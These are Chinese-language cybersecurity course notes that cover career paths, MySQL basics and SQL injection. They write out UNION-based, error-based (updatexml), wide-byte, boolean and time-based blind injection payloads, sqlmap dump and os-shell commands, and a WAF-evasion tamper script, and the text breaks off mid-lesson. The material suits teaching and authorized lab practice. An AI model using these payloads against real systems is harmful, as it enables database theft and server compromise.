合天网络安全笔记-全-

合天网络安全笔记（全）

课程P1：网络安全先导 - 网络安全就业推荐 🛡️

在本节课中，我们将要学习网络安全领域的基本概念，并了解该领域的就业方向与推荐。课程内容将帮助你建立对网络安全的初步认识，并为未来的职业规划提供参考。

概述

网络安全是保护网络系统、数据和设备免受攻击、破坏或未经授权访问的实践。随着数字化进程的加速，网络安全已成为各行各业不可或缺的一部分。本节课程将为你揭开网络安全的神秘面纱。

网络安全的核心概念

上一节我们介绍了网络安全的重要性，本节中我们来看看其核心组成部分。网络安全主要围绕三个关键目标展开，通常被称为CIA三要素：

  • 保密性：确保信息不被未授权的人访问。这类似于只有拥有正确钥匙的人才能打开保险箱。
  • 完整性：保护信息在存储或传输过程中不被篡改。这确保了你收到的信息与发送时完全一致。
  • 可用性：确保授权用户在需要时可以访问信息和资源。这意味着系统需要稳定运行，避免服务中断。

为了实现这些目标，安全专业人员会部署各种技术和策略。

常见的网络威胁

理解了安全目标后，我们需要认识其对立面——网络威胁。以下是几种常见的网络攻击类型：

  • 恶意软件：包括病毒、蠕虫、特洛伊木马等，旨在破坏、窃取数据或获取系统控制权。
  • 网络钓鱼：通过伪造的通信（如电子邮件、网站）诱骗用户泄露敏感信息，如密码或信用卡号。
  • 拒绝服务攻击：通过海量流量淹没目标系统，使其无法提供正常服务。
  • 中间人攻击：攻击者秘密拦截并可能篡改双方之间的通信。

认识这些威胁是构建有效防御的第一步。

网络安全就业方向推荐

了解了基本概念和威胁后，你可能想知道如何将兴趣转化为职业。网络安全领域岗位多样，适合不同技能和兴趣的人。以下是几个主要的就业方向：

  • 安全分析师：负责监控网络、调查安全事件并响应威胁。这是许多人的入门岗位。
  • 渗透测试工程师：模拟黑客攻击，以发现系统漏洞，帮助机构提前修复。他们常使用类似 nmap -sV <目标IP> 的命令进行扫描。
  • 安全架构师：设计和构建安全的企业系统和网络框架。
  • 事件响应专家：在发生安全漏洞时领导团队进行处理、控制和恢复。
  • 安全软件开发：编写安全的代码或开发安全工具和应用程序。

选择方向时，请结合你的技术偏好（如更喜欢分析还是动手实践）进行考虑。

入门学习路径建议

如果你对网络安全产生兴趣并想开始学习，可以遵循一个清晰的路径。以下是为初学者设计的学习步骤：

  1. 夯实基础：学习计算机网络（如TCP/IP模型）、操作系统（Windows/Linux）和一门编程语言（如Python）。
  2. 学习核心安全知识：理解密码学、身份认证、访问控制等基本原理。
  3. 实践操作：在合法的实验环境（如虚拟机、靶场）中练习工具使用和漏洞分析。
  4. 考取认证：考虑获取入门级认证，如CompTIA Security+，以证明你的知识。
  5. 持续学习与社区参与：网络安全技术日新月异，关注安全新闻、阅读博客、参与社区讨论至关重要。

记住，实践是学习网络安全的关键。

总结

本节课中我们一起学习了网络安全的基础定义、核心的CIA三要素（保密性、完整性、可用性），认识了几种常见的网络威胁，并了解了多个热门的网络安全就业方向。最后，我们为初学者规划了一个可行的学习路径。网络安全是一个充满挑战且回报丰厚的领域，希望本课程能为你打开这扇大门，助你迈出坚实的第一步。

🛡️ 课程 P10：第 8 天 - MySQL 基础与 SQL 注入原理

在本节课中，我们将要学习 MySQL 数据库的基础知识，并理解 SQL 注入漏洞背后的核心原理。课程的重点不在于记忆大量 SQL 语句，而在于掌握关键概念和操作思路，为后续的 SQL 注入学习打下坚实基础。

📚 概述：网站、数据库与 SQL

一个典型的网站结构通常包含前端、Web 服务器和数据库。当用户（或攻击者）通过浏览器提交一个请求时，Web 服务器会解析这个请求，并与数据库进行交互。数据库处理请求后，将结果返回给 Web 服务器，最终呈现给用户。

这个过程的核心在于 Web 服务器如何与数据库“对话”。它们之间使用的语言就是 SQL。

🗃️ 什么是数据库？

数据库，简单理解，就是一个存放数据的地方。网站的关键数据，如用户信息、文章内容等，都存储在数据库中。当网站需要展示或处理这些数据时，就从数据库中调用。

🔤 什么是 SQL？

SQL 是 Structured Query Language 的缩写，即结构化查询语言。它是用来操控数据库的语言。无论是从数据库获取数据、添加新数据、修改还是删除数据，都需要通过 SQL 语句来完成。

常见的 SQL 数据库有 MySQL、SQL Server、Oracle 等。虽然语法细节略有不同，但其核心操作原理是相通的。本节课我们以 MySQL 为例。

🏗️ 数据库的结构

理解数据库的结构至关重要，可以将其想象为一个层层嵌套的容器：

  1. 数据库：最大的容器，对应一个项目或应用的所有数据集合。
  2. 表：数据库内部的子容器，用于存储特定类型的数据（例如，用户表、文章表）。
  3. 字段：表中的列，定义了数据的属性（例如，用户名、密码、邮箱）。
  4. 数据：字段中的具体值，即实际存储的信息。

结构关系：数据库 (Database) -> 表 (Table) -> 字段 (Column) -> 数据 (Data)

例如，一个名为 db_wa 的数据库中，可能有一张 users 表。这张表包含 user_id、username、password 等字段。而 admin 这个用户名及其对应的密码，就是存储在这些字段下的具体数据。

⚙️ 核心 SQL 操作：增删改查

对于 SQL 注入而言，最重要的是理解以下四条核心操作语句，它们构成了与数据库交互的基础。

1. 查询数据

使用 SELECT 语句从表中检索数据。

语法示例：

SELECT * FROM oc_user;
  • SELECT：表示查询操作。
  • *：通配符，代表“所有字段”。
  • FROM oc_user：指定从 oc_user 这张表中查询。
  • 这条语句的意思是：查询 oc_user 表中的所有数据。

2. 增加数据

使用 INSERT INTO 语句向表中添加新数据。

语法示例：

INSERT INTO oc_user (id, username, user_pwd, email) VALUES (10, ‘test_user‘, ‘123456‘, ‘test@example.com‘);
  • INSERT INTO oc_user：指定要向 oc_user 表插入数据。
  • (id, username, user_pwd, email)：指定要插入数据的字段列表。
  • VALUES (...)：提供对应字段的具体值。
  • 这条语句的意思是：在 oc_user 表的指定字段中插入一条新记录。

3. 更新数据

使用 UPDATE 语句修改表中已有的数据。

语法示例：

UPDATE oc_user SET username=‘new_name‘, email=‘new_email@example.com‘ WHERE id=10;
  • UPDATE oc_user：指定要更新 oc_user 表。
  • SET ...：设置字段的新值。
  • WHERE id=10：指定更新条件，只更新 id 等于 10 的那条记录。
  • 这条语句的意思是：将 oc_user 表中 id 为 10 的记录的 username 和 email 字段更新为新值。

4. 删除数据

使用 DELETE 语句从表中删除数据。

语法示例：

DELETE FROM oc_user WHERE id=10;
  • DELETE FROM oc_user：指定要从 oc_user 表删除数据。
  • WHERE id=10：指定删除条件，只删除 id 等于 10 的那条记录。
  • 这条语句的意思是：删除 oc_user 表中 id 为 10 的记录。

提示：WHERE 子句在更新和删除操作中非常重要，如果没有它，可能会更新或删除整张表的数据。

🔗 联合查询与 SQL 注入的桥梁

上一节我们介绍了基础的增删改查，本节中我们来看看一个在 SQL 注入中至关重要的概念：联合查询。

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。关键点是，这些 SELECT 语句必须拥有相同数量的列，且列的数据类型也需要相似。

语法示例：

SELECT username FROM users WHERE id=1 UNION SELECT database();

这条语句会先执行 SELECT username FROM users WHERE id=1，然后将其结果与 SELECT database()（该函数返回当前数据库名）的结果合并输出。

为什么这与 SQL 注入相关？
在动态网站中，用户输入（如 URL 参数 id=1）常常被直接拼接到 SQL 查询语句中。例如：

$sql = “SELECT * FROM products WHERE id = “ . $_GET[‘id‘];

如果攻击者将 id 参数的值控制为 -1 UNION SELECT username, password FROM admin_users，那么最终执行的 SQL 语句就变成了：

SELECT * FROM products WHERE id = -1 UNION SELECT username, password FROM admin_users;

由于 id = -1 很可能查不到数据，页面就会显示 UNION 后面那条语句的查询结果——即管理员账号和密码。这就是 SQL 注入 的基本原理：通过控制输入，篡改原本的 SQL 逻辑，执行任意我们定义的 SQL 代码。

🧮 排序与信息探测

在 SQL 注入实战中，我们常需要知道目标查询具体返回多少列数据，这时 ORDER BY 子句就派上了用场。

ORDER BY 用于对结果集进行排序。在注入中，我们利用它来探测列数。

原理：
如果 ORDER BY 3 能正常执行，说明查询结果的列数至少为 3 列。如果 ORDER BY 4 报错，则说明列数小于 4。通过递增数字并观察页面是否报错，我们可以精确判断出列数。这是进行联合查询注入前必不可少的步骤。

💬 MySQL 注释符

注释符用于使 SQL 语句的一部分失效。在 SQL 注入中，我们常用它来“注释掉”原始查询中我们不需要的部分，确保我们注入的代码能顺利执行。

以下是 MySQL 中三个必须记住的注释符：

  1. # ：井号，注释其后的内容。
  2. -- ：两个减号加一个空格（空格很重要），注释其后的内容。
  3. /*...*/ ：多行注释符，注释 /* 和 */ 之间的所有内容。

🗂️ 关键信息表：information_schema

information_schema 是 MySQL 的一个系统数据库，它包含了关于 MySQL 服务器维护的所有其他数据库的元数据（即数据的数据），比如数据库名、表名、列名等。

对于攻击者来说，这是一个宝库。在不知道目标数据库结构的情况下，可以通过查询 information_schema 来获取所有信息。

核心用法示例：

  1. 查当前数据库的所有表名：

    SELECT table_name FROM information_schema.tables WHERE table_schema = database();
    • database() 函数返回当前数据库名。
    • 这条语句查询属于当前数据库的所有表的名字。

  2. 查指定表的所有列名：

    SELECT column_name FROM information_schema.columns WHERE table_name = ‘users‘;
    • 这条语句查询 users 表的所有列（字段）的名字。

掌握了查询 information_schema 的方法，就等于拥有了整个数据库的“地图”，可以据此进行精准的数据窃取。

📝 总结

本节课中我们一起学习了 SQL 注入所需的 MySQL 基础知识。我们首先了解了数据库和 SQL 的基本概念，然后重点剖析了数据库的层次结构。

核心在于掌握 增、删、改、查 四条基本 SQL 语句，并理解 联合查询 如何成为 SQL 注入的利用手段。我们还学习了利用 ORDER BY 探测信息、关键的 注释符 用法，以及如何通过查询 information_schema 系统数据库来获取目标数据库的完整结构信息。

请记住，本课程的重点是理解原理和思路，而非死记硬背所有语法。建议将核心的几条 SQL 语句记录在笔记中，并在自己的 MySQL 环境中进行练习，这将为后续深入学习 SQL 注入技术打下牢固的基础。

课程 P11：第9天 - SQL注入漏洞简介与原理 🔍

在本节课中，我们将要学习网络安全中一个非常经典且危险的漏洞：SQL注入。我们将从基础概念入手，逐步理解其产生原理、危害以及一个完整的手工注入流程。通过本课的学习，你将能够理解SQL注入的核心思想，并掌握初步的检测方法。

什么是SQL注入？💡

SQL注入是一种历史悠久的攻击技术，最早于1998年出现。其根本原因在于，应用程序将用户输入的参数，未经充分过滤就直接拼接到了后台的SQL查询语句中。攻击者可以精心构造输入，让这些输入被当作SQL代码的一部分执行，从而操纵数据库查询，窃取、篡改或删除数据。

它的原理与我们之前学过的XSS（跨站脚本）攻击有相似之处。XSS是将用户输入当成了HTML/JavaScript代码执行，而SQL注入则是将用户输入当成了SQL代码执行。

SQL注入的产生过程 🔄

要理解SQL注入，我们首先需要了解一个正常的Web查询流程。

正常的查询流程如下：

  1. 用户（客户端）向网站发起一个请求（例如，查看ID为36的文章）。
  2. 网站服务器接收到请求，提取参数（如 id=36），并构造SQL查询语句，例如：
    SELECT * FROM articles WHERE id = 36
  3. 服务器将这个SQL语句发送给数据库执行。
  4. 数据库执行查询，找到ID为36的文章记录，并将结果返回给服务器。
  5. 服务器对结果进行处理，并生成网页返回给用户。

SQL注入是如何发生的呢？
问题出在第2步。如果网站没有对用户输入的 id 参数进行过滤，那么当攻击者输入的不是一个简单的数字，而是一段SQL代码时，这段代码就会被拼接到原始查询中。

例如，原始查询语句可能是：

$sql = "SELECT * FROM articles WHERE id = " . $_GET[‘id‘];

如果用户正常输入 id=36，查询正常。
但如果攻击者输入 id=36 UNION SELECT username, password FROM users，那么最终执行的SQL语句就变成了：

SELECT * FROM articles WHERE id = 36 UNION SELECT username, password FROM users

这条语句的含义就完全改变了，它除了查询文章，还会联合查询出 users 表中的所有用户名和密码，从而造成严重的数据泄露。

SQL注入的危害 ⚠️

SQL注入漏洞的危害极大，主要包括：

  • 获取敏感数据：这是最常见的利用方式，如盗取用户名、密码、个人身份信息、金融数据等。
  • 篡改数据：攻击者可能修改数据库中的数据，例如修改商品价格、用户余额等。
  • 删除数据：执行 DELETE 或 DROP 语句，导致数据丢失。
  • 执行系统命令：在特定条件下（如数据库配置不当），可能通过数据库执行系统命令，从而完全控制服务器。

如何检测SQL注入点？🔎

检测SQL注入的核心思路是：向应用程序提交非预期的输入，观察其响应是否暴露出数据库的“异常”。

以下是几种简单有效的检测方法：

1. 单引号/双引号测试
这是最经典的检测方法。在参数值后面添加一个单引号 ‘ 或双引号 “。

  • 原理：如果参数被直接拼接到SQL语句中，添加的引号会破坏SQL语句的语法结构，导致数据库报错。
  • 观察结果：如果页面返回了数据库的错误信息（如 You have an error in your SQL syntax...），则极有可能存在SQL注入漏洞。

2. 逻辑测试（AND/OR）
通过提交逻辑判断语句，观察页面返回内容的变化。

  • 示例：假设正常请求 id=1 返回文章A。
    • 提交 id=1 AND 1=1：这是一个永真条件，如果页面正常返回文章A，说明 AND 1=1 被数据库执行且未影响结果。
    • 提交 id=1 AND 1=2：这是一个永假条件，如果页面返回空白、错误或与 id=1 时不同的内容，说明 AND 1=2 也被执行了，并且改变了查询逻辑。
  • 结论：前后返回结果不同，则表明用户输入被作为SQL逻辑的一部分执行，存在注入。

3. 注释符测试
尝试使用SQL注释符（如 -- 或 #）来“注释掉”原始查询的后半部分。

  • 示例：提交 id=1‘ -- 或 id=1‘ #。
  • 原理：如果注入点需要闭合引号，添加注释符后，即使后面还有SQL代码也会被忽略。如果页面能正常返回，则证明注入成功，且我们找到了闭合方式。

一个完整的手工SQL注入流程 🛠️

上一节我们介绍了如何检测注入点，本节中我们来看看，一旦发现注入点后，如何一步步获取数据库中的敏感信息。我们以一个假设的注入点 ?id=1 为例。

步骤1：判断注入类型并闭合
首先，我们需要确定参数是数字型还是字符型。

  • 提交 id=1‘，如果报错，可能是字符型，需要闭合引号。
  • 提交 id=1‘ -- ，如果页面正常，则确认是字符型注入，且单引号闭合，-- 注释掉了后续语句。

步骤2：判断查询结果的列数（ORDER BY）
为了后续使用 UNION 联合查询，我们必须知道原始查询返回多少列。

  • 提交 id=1‘ ORDER BY 1 -- ，页面正常。
  • 提交 id=1‘ ORDER BY 2 -- ，页面正常。
  • 提交 id=1‘ ORDER BY 3 -- ，页面正常。
  • 提交 id=1‘ ORDER BY 4 -- ，页面报错。
  • 结论：原始查询返回 3 列。

步骤3：确定数据回显位（UNION SELECT）
UNION 操作符用于合并两个查询的结果集，列数必须相同。我们需要找出在页面中显示的是哪几列。

  • 提交 id=-1‘ UNION SELECT 1,2,3 --
    • 将 id 设为不存在的值（如-1），让原始查询结果为空，这样页面就会显示我们 UNION 查询的结果。
    • 观察页面，看数字 1、2、3 中哪些位置被显示出来。假设显示的是 2 和 3，那么这两个位置就是我们可以用来回显数据的“显示位”。

步骤4：获取数据库信息
利用显示位，我们可以查询数据库的各类信息。

  • 查询当前数据库名：
    id=-1‘ UNION SELECT 1, database(), 3 --
    页面在显示位2的地方会输出当前数据库的名称。
  • 查询所有数据库名：
    id=-1‘ UNION SELECT 1, group_concat(schema_name), 3 FROM information_schema.schemata --
    information_schema 是MySQL的系统数据库，存储了所有数据库、表、列的信息。group_concat() 函数将多行结果合并成一行。

步骤5：获取表名
知道数据库名后，接下来查询该数据库中有哪些表，特别是寻找像 admin、users 这样的敏感表名。

  • 查询指定数据库（假设库名为 web_test）的所有表名：
    id=-1‘ UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=‘web_test‘ --

步骤6：获取列名
确定目标表（例如 users）后，需要知道它有哪些列（字段），比如 username、password。

  • 查询 users 表的所有列名：
    id=-1‘ UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_schema=‘web_test‘ AND table_name=‘users‘ --

步骤7：获取数据（最终目标）
最后，利用已知的表名和列名，直接查询出敏感数据。

  • 查询 users 表中的用户名和密码：
    id=-1‘ UNION SELECT 1, group_concat(username, ‘:‘, password), 3 FROM web_test.users --
    这条语句会将 users 表中所有用户的用户名和密码，以 用户名:密码 的格式拼接起来并显示在页面上。

总结 📝

本节课中我们一起学习了SQL注入漏洞的基础知识。我们首先了解了SQL注入的定义和历史，明白了其产生的根本原因是“用户输入被当作代码执行”。接着，我们剖析了SQL注入发生的完整流程，并认识了其可能造成的严重危害。

然后，我们重点学习了如何手工检测SQL注入点，包括使用单引号、逻辑测试和注释符等方法。最后，我们一步步演练了一个完整的手工SQL注入攻击流程：从判断注入类型、确定列数、寻找回显位，到最终获取数据库名、表名、列名和敏感数据。

核心的利用都依赖于对 information_schema 数据库的查询和 UNION SELECT、group_concat() 等关键SQL语句的掌握。理解了这个流程，你就掌握了SQL注入的基本原理。请务必在合法授权的靶场环境中进行练习，切勿对未授权的系统进行测试。

🛡️ 课程P12：SQL注入漏洞-联合查询与报错注入

在本节课中，我们将要学习SQL注入中的两种重要技术：联合查询注入与报错注入。我们将从原理出发，通过简单的步骤和示例，帮助你理解如何利用这些技术发现和利用SQL注入漏洞。课程最后还会简要介绍一种特殊场景下的注入方式——宽字节注入。

🔍 SQL注入的产生原理

上一节我们回顾了SQL注入的基础，本节中我们来看看SQL语句是如何被恶意构造的。

SQL注入的产生，源于代码中对用户输入参数（例如ID）的过滤不严格。攻击者传入的恶意参数被直接拼接到SQL查询语句中并执行。

核心概念：所有SQL注入漏洞的根源，都是因为程序对用户输入点的过滤不完整或考虑不周。

🔗 联合查询注入详解

联合查询注入的核心是使用SQL的 UNION 操作符，将恶意查询的结果合并到原始查询结果中并显示出来。

以下是进行联合查询注入的标准步骤：

  1. 判断注入点：通过添加单引号 ‘ 观察页面是否报错，来判断是否存在SQL注入漏洞。
  2. 判断列数：使用 ORDER BY 子句递增数字，直到页面报错，以此确定查询结果集的列数。例如 ORDER BY 3 成功而 ORDER BY 4 失败，则说明有3列。
  3. 实施联合查询：确定列数后，使用 UNION SELECT 语句。例如，确定有3列后，构造 UNION SELECT 1,2,3。
  4. 确定回显位：观察页面显示的内容，确定 UNION SELECT 中哪几列的数据会被显示出来（例如，可能只显示第2和第3列）。
  5. 获取信息：将回显位替换为我们想查询的信息，例如数据库名、表名、列名和数据。

关键函数：

  • CONCAT(): 连接字符串。CONCAT(username, ‘-‘, password)。
  • CONCAT_WS(): 使用指定分隔符连接字符串。CONCAT_WS(‘-‘, username, password)。
  • GROUP_CONCAT(): 将分组中的所有值连接成一个字符串。GROUP_CONCAT(table_name)。

⚠️ 报错注入详解

上一节我们介绍了有回显的联合查询，本节中我们来看看当页面没有数据回显，但有错误信息输出时，该如何利用。

报错注入是通过故意触发数据库函数的错误，并让错误信息中包含我们想要的查询结果。

适用场景：页面没有正常的数据回显，但会输出SQL语句的报错信息。

核心原理：利用某些函数（如 updatexml(), extractvalue()）参数格式不正确的特性，当函数执行出错时，会将错误的参数信息返回。我们将查询语句作为参数传入，就能在报错信息中得到查询结果。

常用函数：

  • updatexml(): 用于更新XML文档的函数。
    • 公式：updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)
  • extractvalue(): 用于从XML文档提取值的函数。
    • 公式：extractvalue(1, concat(0x7e, (SELECT database())))

其中 0x7e 是波浪号 ~ 的十六进制编码，用于构造格式错误。

利用步骤：

  1. 爆出数据库名：将查询数据库的语句放入报错函数参数中。
    • 代码：and updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)
  2. 爆出表名：将查询表名的语句替换进去。
    • 代码：and updatexml(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)
  3. 爆出列名：将查询列名的语句替换进去。
    • 代码：and updatexml(1, concat(0x7e, (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name=‘users’), 0x7e), 1)
  4. 爆出数据：同理，替换为查询数据的语句。

注意：报错注入有回显长度限制（如32位），可能无法一次显示全部信息。可以通过 SUBSTR() 函数分段截取，或使用 NOT IN 排除已获取的内容来逐步获取完整信息。

🇨🇳 宽字节注入简介

最后，我们简要了解一种主要出现在国内网站的特殊注入类型——宽字节注入。

产生条件：

  1. 数据库或Web应用使用了 GBK、GB2312 等宽字节编码。
  2. 程序使用了 addslashes()、mysql_real_escape_string() 等函数对用户输入进行转义（在特殊字符如单引号前加反斜杠 \）。

核心原理：在 GBK 编码中，一个汉字由两个字节组成。攻击者可以输入一个字符（如 %df%27），使得转义后的反斜杠 \（%5c）与前面的字符（%df）结合，被数据库解释为一个合法的 GBK 汉字（如“運”），从而“吃掉”了反斜杠，使得后面的单引号 %27 成功逃逸，闭合了SQL语句。

简单示例：

  • 输入：id=%df%27
  • 转义后：%df%5c%27 （%5c是反斜杠）
  • GBK解码：将 %df%5c 解析为汉字“運”，单引号 %27 生效。
  • 最终SQL：... id=‘運’ ...，单引号成功闭合。

利用方式：绕过转义后，后续的注入步骤（判断列数、联合查询等）与普通字符型注入完全相同。

📝 课程总结

本节课中我们一起学习了SQL注入的进阶技术：

  1. 联合查询注入：适用于有数据回显的场景，通过 UNION SELECT 合并查询结果。
  2. 报错注入：适用于无数据回显但有报错信息的场景，利用 updatexml()、extractvalue() 等函数的报错机制获取信息。
  3. 宽字节注入：一种针对特定编码（如GBK）和转义函数的绕过技术。

请记住，万变不离其宗。所有SQL注入的本质都是“用户输入被拼接到SQL语句中执行”。只要深入理解了联合查询的原理和步骤，其他类型的注入都可以触类旁通。

课后建议：尝试使用报错注入的方式完成一道字符型注入的题目，并理解宽字节注入的绕过原理。手工练习结合工具使用，是掌握SQL注入的最佳路径。

网络安全就业推荐 - P13：第11天：SQL注入漏洞-sqlmap使用，报错注入 🛡️💉

在本节课中，我们将要学习一个非常强大的自动化工具——sqlmap。它能够帮助我们自动检测和利用SQL注入漏洞，极大地简化了手工注入的繁琐过程。我们将从sqlmap的基本介绍开始，逐步学习其常用命令、高级用法，并了解如何通过编写tamper脚本来绕过网站防火墙（WAF）。

什么是sqlmap？🔍

sqlmap是一个开源的渗透测试工具，主要用于自动化检测和利用SQL注入漏洞。这个工具历史悠久，但至今仍在持续更新，功能非常强大。

它的核心作用是解决手工SQL注入的繁琐问题。当你需要从数据库中提取大量数据时，手工编写和执行注入语句几乎是不可能的任务。sqlmap通过自动化这个过程，可以快速、高效地完成数据库信息探测和数据提取。

下载与安装
sqlmap是一个Python脚本，你可以从其GitHub仓库下载。无论是Python 2还是Python 3环境都可以运行。

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

解压后，在命令行中进入目录并运行python sqlmap.py，如果出现sqlmap的logo，则说明安装成功。

为了方便使用，建议将sqlmap的路径添加到系统的环境变量（PATH）中。这样，你就可以在任何目录下直接使用sqlmap.py命令了。

sqlmap基础使用 🚀

上一节我们介绍了sqlmap是什么，本节中我们来看看它的基本使用方法。我们将通过一个简单的靶场来演示。

首先，最基础的命令是使用-u参数指定一个可能存在注入的URL。

python sqlmap.py -u "http://target.com/page.php?id=1"

运行后，sqlmap会尝试检测该URL是否存在SQL注入点。如果发现注入点，它会提示你并询问是否跳过检测其他参数。

检测到注入点后，我们就可以按照标准的SQL注入流程来获取数据了。这个流程通常是：获取数据库名 -> 获取表名 -> 获取列名 -> 获取数据。

以下是sqlmap中对应这些步骤的常用命令：

  • --dbs: 枚举所有数据库。
  • -D database_name --tables: 枚举指定数据库中的所有表。
  • -D database_name -T table_name --columns: 枚举指定表中的所有列。
  • -D database_name -T table_name -C column1,column2 --dump: 导出指定列的数据。

使用这些命令，你可以在几秒钟内完成对一个简单注入点的完整利用，获取数据库中的所有信息。

处理POST请求与高级参数 🧩

在实际场景中，注入点可能存在于POST请求中，或者需要特定的HTTP头。直接使用-u参数可能无法成功检测。

这里教大家一个万能的方法：配合Burp Suite（BP）使用。

  1. 使用BP拦截存在POST注入的HTTP请求包。
  2. 在BP中右键点击该请求，选择 Copy to file，将请求保存为一个文本文件（例如 post.txt）。
  3. 使用sqlmap的-r参数来读取这个文件。
python sqlmap.py -r post.txt

这样，sqlmap就会根据文件中的完整请求（包括方法、头、参数）进行注入测试。

此外，还有一些重要的高级参数需要了解：

  • -p: 指定需要测试的参数。例如 -p “username,password”。
  • --proxy: 设置代理，让sqlmap的流量经过BP，方便我们观察其Payload。例如 --proxy=http://127.0.0.1:8080。
  • --level 和 --risk: 提高检测的级别和风险等级。默认级别为1，风险为1。提高它们（如 --level=3 --risk=3）会让sqlmap进行更深入、更全面的测试，但耗时也更长。
  • --os-shell: 在特定条件下，尝试获取操作系统的命令行shell。这通常意味着漏洞危害等级从“高危”提升到了“严重”。

编写Tamper脚本绕过WAF 🛡️➡️🚪

在上一节我们学习了基本和高级用法，但在真实网络中，网站往往部署了Web应用防火墙（WAF），会拦截常见的SQL注入Payload。本节中我们来看看如何利用tamper脚本来绕过WAF。

tamper脚本可以理解为sqlmap的“规则修改器”。它能在sqlmap发送Payload之前，按照我们设定的规则对Payload进行变形，从而绕过WAF的检测。

例如，如果WAF过滤了select关键字，我们可以编写一个tamper脚本，将select替换为SeLeCt（大小写混淆）或SELSELECTECT（双写绕过）。

如何使用tamper脚本？
使用--tamper参数指定脚本即可。

python sqlmap.py -u “http://target.com?id=1” --tamper=my_tamper.py

如何编写tamper脚本？
sqlmap自带了许多tamper脚本（位于tamper/目录），我们可以参考它们进行编写。一个简单的tamper脚本结构如下：

#!/usr/bin/env python
from lib.core.enums import PRIORITY

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/155a20681598ba0e71ba588653cd80fc_62.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/155a20681598ba0e71ba588653cd80fc_64.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/155a20681598ba0e71ba588653cd80fc_66.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/155a20681598ba0e71ba588653cd80fc_68.png)

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/155a20681598ba0e71ba588653cd80fc_70.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/155a20681598ba0e71ba588653cd80fc_72.png)

def tamper(payload, **kwargs):
    # 这里是核心的变形逻辑
    # 例如，将空格替换为注释
    retVal = payload.replace(” “, “/**/“)
    return retVal

你可以根据手工测试时发现的绕过方法（例如，用%0a换行符代替空格，用like代替=），将这些规则写入tamper脚本。之后，使用这个脚本运行sqlmap，它就会自动应用这些绕过规则。

总结 📚

本节课中我们一起学习了自动化SQL注入工具sqlmap的核心用法。

我们首先了解了sqlmap的基本概念和安装方法。接着，学习了其基础命令，掌握了从检测注入点到拖取数据的完整流程。然后，我们探讨了如何处理POST请求等复杂场景，并介绍了一些重要的高级参数。最后，我们深入讲解了tamper脚本的作用和编写方法，这是应对WAF的关键技能。

记住，工具虽然强大，但理解SQL注入的原理才是根本。sqlmap是一个帮助你提高效率的工具，而不是替代你思考的“黑盒”。课后请务必使用提供的靶场进行手动练习，熟悉整个流程，并尝试理解sqlmap发送的每一个Payload。

课程 P14：第12天 - SQL注入漏洞：布尔盲注、时间盲注及堆叠注入 🎯

在本节课中，我们将要学习三种更高级的SQL注入技术：布尔盲注、时间盲注和堆叠注入。理解这些技术对于全面掌握SQL注入漏洞的挖掘与利用至关重要。

概述

上一节我们介绍了基础的SQL注入和自动化工具的使用。本节中，我们来看看当注入点没有直接的回显信息时，如何利用布尔逻辑或时间延迟来判断和提取数据，以及如何利用数据库特性执行多条语句。

什么是盲注？🤔

首先，我们来回顾一下判断SQL注入的常规方法。通常，我们通过输入单引号等特殊字符，观察页面是否返回数据库错误信息。但存在另一种情况：输入单引号后，页面没有报错，但内容发生了变化。

例如，正常页面显示“You are in”，添加一个单引号后，该提示消失；再添加一个单引号闭合后，提示又重新出现。这种基于页面内容“有”或“无”两种状态进行判断的方法，就是布尔盲注。

一个良好的习惯是在测试时开启Burp Suite等代理工具捕获流量，通过对比响应包大小和响应时间的差异，可以更精确地判断盲注是否存在。

布尔盲注的核心原理是：如果SQL语句执行正确，则返回一种页面状态（如显示内容）；如果执行错误，则返回另一种页面状态（如不显示内容）。我们基于这两种状态的差异来推断SQL语句的执行结果。

布尔盲注的原理与流程 🔍

还记得用 and 1=1 和 and 1=2 判断注入点吗？其原理是：当 and 后的条件为“真”时，页面正常；为“假”时，页面异常。布尔盲注正是基于此逻辑的延伸。

以下是布尔盲注的一个典型流程，其思路与有回显的注入类似，但需要逐个“猜解”：

  1. 判断注入点：确认是否存在布尔盲注。
  2. 获取数据库名长度：例如，通过 and length(database())=8 来判断。
  3. 猜解数据库名：逐字符猜解数据库名称。
  4. 猜解表名：先猜解表的数量，再逐个猜解表名。
  5. 猜解列名：猜解指定表中的列名。
  6. 猜解数据：最终提取出目标数据。

为了理解如何“猜解”，我们需要掌握几个关键函数：

  • length(): 返回字符串长度。
  • substr() 或 left(): 截取字符串。例如 left((select database()),1) 返回当前数据库名的第一个字符。
  • limit: 用于限制查询结果。limit 0,1 表示从第0条记录开始，返回1条结果。

让我们通过一个例子来理解。假设我们通过 and length(database())=8 得知数据库名长度为8。接下来，我们猜解第一个字符：

id=1 and left((select database()),1)='s'

这条语句的意思是：判断当前数据库名的第一个字符是否等于 's'。如果等于，则 and 后的条件为真，页面返回正常状态；如果不等于，则为假，页面返回异常状态。通过遍历字母、数字，我们可以确定第一个字符。后续字符的猜解方法依此类推。

猜解表名、列名的语句结构类似，只是将 select database() 替换为查询 information_schema 中相应信息的子查询。例如，猜解第一个表的第一个字符：

id=1 and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'

整个过程就是通过大量的请求，根据页面布尔值（真/假）的变化，像“盲人摸象”一样拼凑出完整的信息。显然，手工完成极其繁琐，这正是我们需要自动化工具（如sqlmap）的原因。

时间盲注 ⏳

时间盲注是布尔盲注的变种，适用于页面无论输入什么，返回内容都完全一致，无法通过内容差异判断的情况。

其核心是利用数据库的 sleep() 函数和 if() 条件语句。sleep(n) 会让数据库暂停 n 秒。if(condition, true_part, false_part) 会根据条件执行不同的部分。

时间盲注的典型语句如下：

id=1 and if((select database())='security', sleep(5), 1)

